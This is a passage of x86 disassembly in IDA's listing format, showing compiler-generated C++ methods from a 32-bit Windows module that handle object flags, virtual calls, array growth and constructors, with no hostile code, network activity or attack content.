		push	esi
		lea	esi, [ecx+0Ch]
		test	dword ptr [esi], 0FFFFFFFEh
		jnz	short loc_69B6CC0B
		add	ecx, 0FFFFFFF0h
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		push	eax
		mov	ecx, esi
		call	sub_69B677FE


loc_69B6CC0B:				; CODE XREF: sub_69B6CBEF+Aj
		mov	eax, [esi]
		and	eax, 0FFFFFFFEh
		neg	eax
		sbb	eax, eax
		neg	eax
		pop	esi
		retn
sub_69B6CBEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CC18	proc near		; DATA XREF: .text:69B12C5Co
					; .text:69B12DA4o ...
		push	esi
		lea	esi, [ecx+0Ch]
		test	dword ptr [esi], 0FFFFFFFEh
		jnz	short loc_69B6CC34
		add	ecx, 0FFFFFFF0h
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		push	eax
		mov	ecx, esi
		call	sub_69B677FE


loc_69B6CC34:				; CODE XREF: sub_69B6CC18+Aj
		mov	eax, [esi]
		and	eax, 0FFFFFFFEh
		pop	esi
		retn
sub_69B6CC18	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CC3B	proc near		; CODE XREF: sub_69B66521+10p
					; sub_69B677CF+10p
					; DATA XREF: ...
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		test	eax, 0FFFFFFFEh
		jnz	short loc_69B6CC57
		lea	ecx, [esi-10h]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		mov	ebx, eax
		jmp	short loc_69B6CC89
; ---------------------------------------------------------------------------


loc_69B6CC57:				; CODE XREF: sub_69B6CC3B+Ej
		and	eax, 0FFFFFFFEh
		test	byte ptr [esi+20h], 4
		mov	ebx, eax
		jz	short loc_69B6CC82
		push	edi
		lea	edi, [esi+10h]
		push	edi
		call	sub_69B67A49
		mov	eax, [esi+14h]
		push	0
		mov	ecx, edi
		mov	[esi+1Ch], eax
		call	sub_69B677FE
		and	dword ptr [esi+20h], 0FFFFFFFBh
		pop	edi
		jmp	short loc_69B6CC90
; ---------------------------------------------------------------------------


loc_69B6CC82:				; CODE XREF: sub_69B6CC3B+25j
		push	0
		call	sub_69B677FE


loc_69B6CC89:				; CODE XREF: sub_69B6CC3B+1Aj
		test	ebx, ebx
		jz	short loc_69B6CC90
		inc	dword ptr [esi+1Ch]


loc_69B6CC90:				; CODE XREF: sub_69B6CC3B+45j
					; sub_69B6CC3B+50j
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_69B6CC3B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CC95	proc near		; CODE XREF: sub_69B6CCB6+6p
					; sub_69B6CD21+Cp ...
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+2Ch], 0
		push	0
		lea	ecx, [esi+1Ch]
		call	sub_69B677FE
		push	0
		lea	ecx, [esi+20h]
		call	sub_69B677FE
		and	dword ptr [esi+30h], 0FFFFFFC3h
		pop	esi
		retn
sub_69B6CC95	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CCB6	proc near		; CODE XREF: sub_69B66558+16j
					; sub_69B68121+Ej ...
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-10h]
		call	sub_69B6CC95
		mov	ecx, [esi+4]
		test	ecx, ecx
		pop	esi
		jz	short locret_69B6CCCE
		mov	eax, [ecx]
		jmp	dword ptr [eax+44h]
; ---------------------------------------------------------------------------

locret_69B6CCCE:			; CODE XREF: sub_69B6CCB6+11j
		retn
sub_69B6CCB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CCCF	proc near		; CODE XREF: sub_69B6CD21+1Cp
					; sub_69B6CFE2+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	[ecx+18h], eax
		movzx	eax, [esp+arg_8]
		shl	eax, 6
		xor	eax, [ecx+30h]
		push	esi
		and	eax, 40h
		xor	[ecx+30h], eax
		lea	esi, [ecx+14h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B6CD1D
		cmp	[esp+4+arg_4], 0
		jz	short loc_69B6CD1D
		xor	eax, eax
		mov	al, [ecx+1Ch]
		and	eax, 0FFFFFF01h
		push	eax
		push	[esp+8+arg_4]
		call	sub_69B67D20
		mov	ecx, eax
		add	eax, 10h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		push	esi
		call	sub_69B17320


loc_69B6CD1D:				; CODE XREF: sub_69B6CCCF+1Fj
					; sub_69B6CCCF+26j
		pop	esi
		retn	0Ch
sub_69B6CCCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6CD21	proc near		; CODE XREF: sub_69B66127+19p
					; sub_69B66505+Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi-10h]
		mov	ecx, edi
		call	sub_69B6CC95
		push	[ebp+arg_8]
		mov	ecx, edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B6CCCF
		mov	ecx, [esi+4]
		test	ecx, ecx
		pop	edi
		pop	esi
		jz	short loc_69B6CD51
		mov	eax, [ecx]
		pop	ebp
		jmp	dword ptr [eax+48h]
; ---------------------------------------------------------------------------


loc_69B6CD51:				; CODE XREF: sub_69B6CD21+28j
		pop	ebp
		retn	0Ch
sub_69B6CD21	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CD55	proc near		; CODE XREF: sub_69B66573+1Cp
					; sub_69B6814E+18p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		movzx	eax, bl
		shl	eax, 6
		push	esi
		mov	esi, ecx
		xor	eax, [esi+20h]
		and	eax, 40h
		xor	[esi+20h], eax
		test	bl, bl
		jz	short loc_69B6CD78
		lea	ecx, [esi-10h]
		call	sub_69B6CC95


loc_69B6CD78:				; CODE XREF: sub_69B6CD55+19j
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_69B6CD88
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+80h]


loc_69B6CD88:				; CODE XREF: sub_69B6CD55+28j
		pop	esi
		pop	ebx
		retn	4
sub_69B6CD55	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CD8D	proc near		; CODE XREF: sub_69B6807Bj
					; sub_69B686EF+Bp
					; DATA XREF: ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B6CDDE
		mov	eax, [esi+0Ch]
		and	eax, 0FFFFFFFEh
		cmp	edi, eax
		jz	short loc_69B6CDDE
		mov	eax, [esi]
		push	edi
		push	0
		push	[esp+10h+arg_0]
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jz	short loc_69B6CDDE
		mov	edx, [esi]
		push	0
		push	eax
		push	[esp+10h+arg_0]
		mov	ecx, esi
		call	dword ptr [edx+48h]
		jmp	short loc_69B6CDCE
; ---------------------------------------------------------------------------


loc_69B6CDC3:				; CODE XREF: sub_69B6CD8D+4Aj
		cmp	eax, edi
		jz	short loc_69B6CDDE
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]


loc_69B6CDCE:				; CODE XREF: sub_69B6CD8D+34j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jnz	short loc_69B6CDC3
		or	eax, 0FFFFFFFFh
		jmp	short loc_69B6CDE1
; ---------------------------------------------------------------------------


loc_69B6CDDE:				; CODE XREF: sub_69B6CD8D+Aj
					; sub_69B6CD8D+14j ...
		mov	eax, [esi+1Ch]


loc_69B6CDE1:				; CODE XREF: sub_69B6CD8D+4Fj
		pop	edi
		pop	esi
		retn	8
sub_69B6CD8D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CDE6	proc near		; CODE XREF: sub_69B68080j
					; sub_69B6B8FF+2Fp
					; DATA XREF: ...
		push	18h
		push	offset dword_69B6CEE8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		test	byte ptr [esi+20h], 10h
		jnz	short loc_69B6CE39
		mov	eax, [esi]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	dword ptr [eax+54h]
		mov	eax, [esi]
		push	0
		mov	ecx, esi
		call	dword ptr [eax+60h]
		lea	ecx, [esi+18h]
		push	eax
		push	ecx
		call	sub_69B17320
		lea	ebx, [esi+0Ch]
		mov	edi, [ebx]
		and	edi, 0FFFFFFFEh
		mov	[ebp-20h], edi
		mov	eax, [esi+1Ch]
		mov	[ebp-24h], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		or	dword ptr [esi+20h], 10h
		jmp	short loc_69B6CE59
; ---------------------------------------------------------------------------


loc_69B6CE39:				; CODE XREF: sub_69B6CDE6+15j
		lea	ebx, [esi+0Ch]
		mov	edi, [ebx]
		and	edi, 0FFFFFFFEh
		mov	[ebp-20h], edi
		mov	eax, [esi+1Ch]
		mov	[ebp-24h], eax
		mov	eax, [esi+14h]
		mov	[esi+1Ch], eax
		push	0
		mov	ecx, ebx
		call	sub_69B677FE


loc_69B6CE59:				; CODE XREF: sub_69B6CDE6+51j
		and	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		jz	short loc_69B6CE78
		xor	eax, eax
		cmp	[esi+1Ch], eax
		jnz	short loc_69B6CE7B
		mov	ecx, [ebx]
		and	ecx, 0FFFFFFFEh
		cmp	ecx, edi
		jz	short loc_69B6CE7B


loc_69B6CE78:				; CODE XREF: sub_69B6CDE6+80j
		xor	eax, eax
		inc	eax


loc_69B6CE7B:				; CODE XREF: sub_69B6CDE6+87j
					; sub_69B6CDE6+90j
		mov	[ebp-25h], al
		jmp	short loc_69B6CEAE
; ---------------------------------------------------------------------------


loc_69B6CE80:				; DATA XREF: .text:69B6CEECo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B6CE89:				; DATA XREF: .text:69B6CEF0o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	ebx, [esi+0Ch]
		mov	edi, [ebp-20h]
		push	edi
		mov	ecx, ebx
		call	sub_69B677FE
		mov	eax, [ebp-24h]
		mov	[esi+1Ch], eax
		call	sub_69B2E860


loc_69B6CEAE:				; CODE XREF: sub_69B6CDE6+98j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		or	dword ptr [esi+20h], 4
		push	ebx
		lea	ecx, [esi+10h]
		call	sub_69B67A49
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		push	edi
		mov	ecx, ebx
		call	sub_69B677FE
		mov	eax, [ebp-24h]
		mov	[esi+1Ch], eax
		and	dword ptr [esi+20h], 0FFFFFFEFh
		mov	al, [ebp-25h]
		call	sub_69B1853C
		retn	8
sub_69B6CDE6	endp

; ---------------------------------------------------------------------------
		align 8
dword_69B6CEE8	dd 0FFFFFFFFh			dd offset loc_69B6CE80
		dd offset loc_69B6CE89

; =============== S U B	R O U T	I N E =======================================



sub_69B6CEF4	proc near		; DATA XREF: .text:69B12C94o
					; .text:69B12DDCo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	edi
		and	eax, 0FFFFFF01h
		push	eax
		push	0
		push	0
		call	sub_69B699F2
		mov	edi, eax
		lea	eax, [esi-10h]
		neg	eax
		sbb	eax, eax
		and	eax, esi
		push	eax
		mov	ecx, edi
		call	sub_69B6969A
		push	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_69B6969A
		mov	eax, edi
		add	edi, 10h
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B6CEF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CF3A	proc near		; DATA XREF: .text:69B12C98o
					; .text:69B12DE0o ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	al, [ecx+0Ch]
		push	esi
		and	eax, 0FFFFFF01h
		push	eax
		lea	eax, [ecx-10h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		push	eax
		call	sub_69B6C11D
		push	[esp+4+arg_0]
		mov	esi, eax
		mov	ecx, esi
		call	sub_69B6BAF2
		mov	eax, esi
		add	esi, 10h
		neg	eax
		sbb	eax, eax
		and	eax, esi
		pop	esi
		retn	4
sub_69B6CF3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CF71	proc near		; CODE XREF: sub_69B681B0+C3p
					; sub_69B6839F+47p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		mov	esi, [edi]
		mov	eax, [edi+0Ch]
		and	esi, 0FFFFFFFEh
		test	al, 1
		lea	ebx, [edi+8]
		mov	ecx, esi
		jnz	short loc_69B6CFBA
		test	al, 2
		mov	eax, [esi]
		jz	short loc_69B6CF9A
		push	ebx
		call	dword ptr [eax+9Ch]
		mov	esi, eax
		jmp	short loc_69B6CFB4
; ---------------------------------------------------------------------------


loc_69B6CF9A:				; CODE XREF: sub_69B6CF71+1Cj
		call	dword ptr [eax+44h]
		cmp	eax, 4
		jz	short loc_69B6CFAE
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+68h]
		mov	esi, eax
		jmp	short loc_69B6CFB0
; ---------------------------------------------------------------------------


loc_69B6CFAE:				; CODE XREF: sub_69B6CF71+2Fj
		xor	esi, esi


loc_69B6CFB0:				; CODE XREF: sub_69B6CF71+3Bj
		or	byte ptr [edi+13h], 40h


loc_69B6CFB4:				; CODE XREF: sub_69B6CF71+27j
		or	dword ptr [edi+0Ch], 1
		jmp	short loc_69B6CFCE
; ---------------------------------------------------------------------------


loc_69B6CFBA:				; CODE XREF: sub_69B6CF71+16j
		test	al, 2
		mov	eax, [esi]
		push	ebx
		jz	short loc_69B6CFC9
		call	dword ptr [eax+0A0h]
		jmp	short loc_69B6CFCC
; ---------------------------------------------------------------------------


loc_69B6CFC9:				; CODE XREF: sub_69B6CF71+4Ej
		call	dword ptr [eax+6Ch]


loc_69B6CFCC:				; CODE XREF: sub_69B6CF71+56j
		mov	esi, eax


loc_69B6CFCE:				; CODE XREF: sub_69B6CF71+47j
		push	esi
		lea	ecx, [edi+4]
		call	sub_69B677FE
		inc	dword ptr [edi+10h]
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B6CF71	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6CFE2	proc near		; CODE XREF: sub_69B662DE+8p
					; sub_69B66717+8p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esi-10h]
		call	sub_69B6C84F
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	ecx, [esi+4]
		test	ecx, ecx
		mov	edi, eax
		jz	short loc_69B6D009
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+7Ch]
		jmp	short loc_69B6D00B
; ---------------------------------------------------------------------------


loc_69B6D009:				; CODE XREF: sub_69B6CFE2+1Aj
		xor	eax, eax


loc_69B6D00B:				; CODE XREF: sub_69B6CFE2+25j
		xor	ecx, ecx
		mov	cl, [esi+0Ch]
		and	ecx, 0FFFFFF01h
		push	ecx
		mov	ecx, [esi+20h]
		and	ecx, 3
		push	ecx
		push	eax
		mov	ecx, edi
		call	sub_69B6CB8A
		push	[esp+8+arg_0]
		mov	ecx, edi
		push	0
		push	dword ptr [esi+8]
		call	sub_69B6CCCF
		mov	eax, [esi+24h]
		mov	[edi+34h], eax
		lea	eax, [edi+10h]
		pop	edi
		pop	esi
		retn	4
sub_69B6CFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6D044	proc near		; DATA XREF: .text:69B12D10o
					; .text:69B12E58o ...

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		or	[ebp+var_4], 0FFFFFFFFh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, ecx
		cmp	dword ptr [edi+4], 1
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], bl
		mov	[ebp+var_24], ebx
		mov	[ebp+var_20], bl
		jnz	short loc_69B6D0A8
		mov	eax, [edi]
		lea	ecx, [ebp+var_24]
		push	ecx
		push	[ebp+arg_C]
		mov	ecx, edi
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx]
		lea	edx, [ebp+var_14]
		push	edx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_24]
		call	sub_69B65333
		mov	esi, eax
		jmp	loc_69B6D1C7
; ---------------------------------------------------------------------------


loc_69B6D0A8:				; CODE XREF: sub_69B6D044+21j
		push	ebx
		push	[ebp+arg_C]
		lea	esi, [edi+8]
		push	[ebp+arg_0]
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+48h]
		mov	ecx, [ebp+arg_10]
		mov	eax, [ecx]
		lea	edx, [ebp+var_14]
		push	edx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	dword ptr [eax+54h]
		cmp	[ebp+var_14], ebx
		jz	loc_69B6D1C4
		mov	eax, [edi+2Ch]
		mov	eax, dword_69B99D00[eax*4]
		mov	[ebp+arg_C], eax
		mov	eax, [edi+28h]
		and	eax, 3
		sub	eax, ebx
		jz	short loc_69B6D135
		dec	eax
		jz	loc_69B6D1B9
		dec	eax
		jnz	loc_69B6D1C4
		jmp	short loc_69B6D125
; ---------------------------------------------------------------------------


loc_69B6D0FE:				; CODE XREF: sub_69B6D044+EAj
		mov	edx, [eax]
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_C]
		mov	ecx, eax
		push	[ebp+arg_4]
		call	dword ptr [edx+0DCh]
		cmp	eax, 1
		mov	[ebp+var_4], eax
		jnz	loc_69B6D1C4
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]


loc_69B6D125:				; CODE XREF: sub_69B6D044+B8j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		cmp	eax, ebx
		jnz	short loc_69B6D0FE
		jmp	loc_69B6D1C4
; ---------------------------------------------------------------------------


loc_69B6D135:				; CODE XREF: sub_69B6D044+A8j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		cmp	eax, ebx
		jz	loc_69B6D1C4
		mov	edx, [eax]
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_C]
		mov	ecx, eax
		push	[ebp+arg_4]
		call	dword ptr [edx+0DCh]
		cmp	eax, 1
		mov	[ebp+var_4], eax
		jz	short loc_69B6D1C4
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+60h]
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B6D1C4
		cmp	dword ptr [ebx+8], 0
		jg	short loc_69B6D179
		call	sub_69B2E6D8


loc_69B6D179:				; CODE XREF: sub_69B6D044+12Ej
		cmp	dword ptr [ebx+0Ch], 1
		jle	short loc_69B6D1C4
		mov	eax, [edi+28h]
		and	eax, 0FFFFFFFDh
		or	eax, 1
		mov	[edi+28h], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		xor	ebx, ebx
		jmp	short loc_69B6D1B9
; ---------------------------------------------------------------------------


loc_69B6D196:				; CODE XREF: sub_69B6D044+17Ej
		mov	edx, [eax]
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_C]
		mov	ecx, eax
		push	[ebp+arg_4]
		call	dword ptr [edx+0DCh]
		cmp	eax, 1
		mov	[ebp+var_4], eax
		jz	short loc_69B6D1C4
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]


loc_69B6D1B9:				; CODE XREF: sub_69B6D044+ABj
					; sub_69B6D044+150j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		cmp	eax, ebx
		jnz	short loc_69B6D196


loc_69B6D1C4:				; CODE XREF: sub_69B6D044+8Dj
					; sub_69B6D044+B2j ...
		mov	esi, [ebp+var_4]


loc_69B6D1C7:				; CODE XREF: sub_69B6D044+5Fj
		lea	ecx, [ebp+var_24]
		call	sub_69B466CC
		lea	ecx, [ebp+var_14]
		call	sub_69B466CC
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B6D044	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D1E0	proc near		; CODE XREF: sub_69B67E43+17p
					; sub_69B6816F+37p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		push	edi
		jnz	short loc_69B6D207
		push	30h
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	dword ptr [esi+8], 8
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B13D68


loc_69B6D207:				; CODE XREF: sub_69B6D1E0+8j
		cmp	dword ptr [esi+8], 0
		jg	short loc_69B6D212
		call	sub_69B2E6D8


loc_69B6D212:				; CODE XREF: sub_69B6D1E0+2Bj
		mov	edi, [esi+0Ch]
		mov	eax, [esi+8]
		inc	edi
		cmp	edi, eax
		jl	short loc_69B6D229
		add	eax, eax
		push	eax
		mov	ecx, esi
		call	sub_69B6CB4B
		mov	esi, eax


loc_69B6D229:				; CODE XREF: sub_69B6D1E0+3Bj
		push	edi
		mov	ecx, esi
		call	sub_69B1A954
		mov	ecx, [esp+8+arg_4]
		mov	[eax], ecx
		cmp	dword ptr [esi+8], 0
		jg	short loc_69B6D242
		call	sub_69B2E6D8


loc_69B6D242:				; CODE XREF: sub_69B6D1E0+5Bj
		mov	[esi+0Ch], edi
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
sub_69B6D1E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D24C	proc near		; CODE XREF: sub_69B681B0+188p
					; sub_69B696D6+2Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_69B6D25F
		mov	eax, [esp+4+arg_4]
		neg	eax
		sbb	eax, eax
		jmp	short loc_69B6D2B2
; ---------------------------------------------------------------------------


loc_69B6D25F:				; CODE XREF: sub_69B6D24C+7j
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jnz	short loc_69B6D26D
		xor	eax, eax
		inc	eax
		jmp	short loc_69B6D2B1
; ---------------------------------------------------------------------------


loc_69B6D26D:				; CODE XREF: sub_69B6D24C+1Aj
		cmp	dword ptr [esi+8], 0
		jg	short loc_69B6D278
		call	sub_69B2E6D8


loc_69B6D278:				; CODE XREF: sub_69B6D24C+25j
		add	esi, 0Ch
		cmp	dword ptr [edi+8], 0
		jg	short loc_69B6D286
		call	sub_69B2E6D8


loc_69B6D286:				; CODE XREF: sub_69B6D24C+33j
		mov	edx, [esi]
		lea	ecx, [edi+0Ch]
		mov	edi, [ecx]
		add	esi, 4
		add	ecx, 4
		jmp	short loc_69B6D2A9
; ---------------------------------------------------------------------------


loc_69B6D295:				; CODE XREF: sub_69B6D24C+5Fj
		test	edi, edi
		jz	short loc_69B6D2AD
		mov	eax, [esi]
		sub	eax, [ecx]
		add	ecx, 4
		add	esi, 4
		test	eax, eax
		jnz	short loc_69B6D2B1
		dec	edx
		dec	edi


loc_69B6D2A9:				; CODE XREF: sub_69B6D24C+47j
		test	edx, edx
		jnz	short loc_69B6D295


loc_69B6D2AD:				; CODE XREF: sub_69B6D24C+4Bj
		mov	eax, edx
		sub	eax, edi


loc_69B6D2B1:				; CODE XREF: sub_69B6D24C+1Fj
					; sub_69B6D24C+59j
		pop	edi


loc_69B6D2B2:				; CODE XREF: sub_69B6D24C+11j
		pop	esi
		retn	8
sub_69B6D24C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D2B6	proc near		; CODE XREF: sub_69B658C4+1Fp
					; sub_69B65EE0+39p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		test	esi, esi
		jz	short loc_69B6D2EF
		cmp	dword ptr [esi+8], 0
		jg	short loc_69B6D2CA
		call	sub_69B2E6D8


loc_69B6D2CA:				; CODE XREF: sub_69B6D2B6+Dj
		add	esi, 0Ch
		mov	eax, [esi]
		add	esi, 4
		test	eax, eax
		jle	short loc_69B6D2EF
		push	edi
		mov	edi, eax


loc_69B6D2D9:				; CODE XREF: sub_69B6D2B6+36j
		push	dword ptr [esi]
		push	[esp+0Ch+arg_0]
		call	sub_69B6D1E0
		add	esi, 4
		dec	edi
		mov	[esp+8+arg_0], eax
		jnz	short loc_69B6D2D9
		pop	edi


loc_69B6D2EF:				; CODE XREF: sub_69B6D2B6+7j
					; sub_69B6D2B6+1Ej
		mov	eax, [esp+4+arg_0]
		pop	esi
		retn	8
sub_69B6D2B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D2F7	proc near		; CODE XREF: sub_69B687E1+2Bp
					; sub_69B687E1+50p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_69B6D30E
		cmp	dword ptr [esi+8], 0
		jg	short loc_69B6D30B
		call	sub_69B2E6D8


loc_69B6D30B:				; CODE XREF: sub_69B6D2F7+Dj
		dec	dword ptr [esi+0Ch]


loc_69B6D30E:				; CODE XREF: sub_69B6D2F7+7j
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6D2F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D314	proc near		; CODE XREF: sub_69B664E8-19Fp
					; sub_69B66761+Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B65445
		lea	edi, [esi+10h]
		mov	ecx, edi
		call	sub_69B1818F
		push	[esp+8+arg_8]
		movzx	eax, byte ptr [esp+0Ch+arg_8]
		push	[esp+0Ch+arg_4]
		mov	dword ptr [esi], offset	off_69B13FE8
		push	[esp+10h+arg_0]
		mov	dword ptr [esi+8], offset off_69B13F88
		mov	dword ptr [edi], offset	off_69B13EF0
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		and	dword ptr [esi+28h], 0
		mov	ecx, esi
		mov	dword ptr [esi+34h], 6
		call	sub_69B6CB8A
		pop	edi
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_69B6D314	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D36A	proc near		; DATA XREF: .text:69B13334o
					; .text:69B13C84o ...

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B6867E
sub_69B6D36A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D372	proc near		; DATA XREF: .text:69B13FA4o
		sub	ecx, 8
		jmp	sub_69B6C97D
sub_69B6D372	endp

; ---------------------------------------------------------------------------


loc_69B6D37A:				; DATA XREF: .text:69B1329Co
					; .text:69B13BECo ...
		sub	ecx, 10h
		jmp	sub_69B6867E
; ---------------------------------------------------------------------------


loc_69B6D382:				; DATA XREF: .text:69B13F0Co
		sub	ecx, 10h
		jmp	sub_69B6C97D

; =============== S U B	R O U T	I N E =======================================



sub_69B6D38A	proc near		; CODE XREF: sub_69B67CC1-62p
					; sub_69B6B06D-1BFp ...
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B65445
		lea	edi, [esi+10h]
		mov	ecx, edi
		call	sub_69B1818F
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B13FE8
		mov	dword ptr [esi+8], offset off_69B13F88
		mov	dword ptr [edi], offset	off_69B13EF0
		mov	[esi+14h], eax
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		mov	[esi+28h], eax
		pop	edi
		mov	dword ptr [esi+34h], 6
		mov	eax, esi
		pop	esi
		retn
sub_69B6D38A	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6D3CA	proc near		; CODE XREF: sub_69B65C0F+7p
					; sub_69B6646A+7p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B6C869
		lea	edi, [esi+10h]
		mov	ecx, edi
		call	sub_69B1818F
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B13FE8
		mov	dword ptr [esi+8], offset off_69B13F88
		mov	dword ptr [edi], offset	off_69B13EF0
		mov	[esi+14h], eax
		mov	[esi+1Ch], eax
		mov	[esi+20h], eax
		mov	[esi+28h], eax
		pop	edi
		mov	dword ptr [esi+34h], 6
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6D3CA	endp


; =============== S U B	R O U T	I N E =======================================



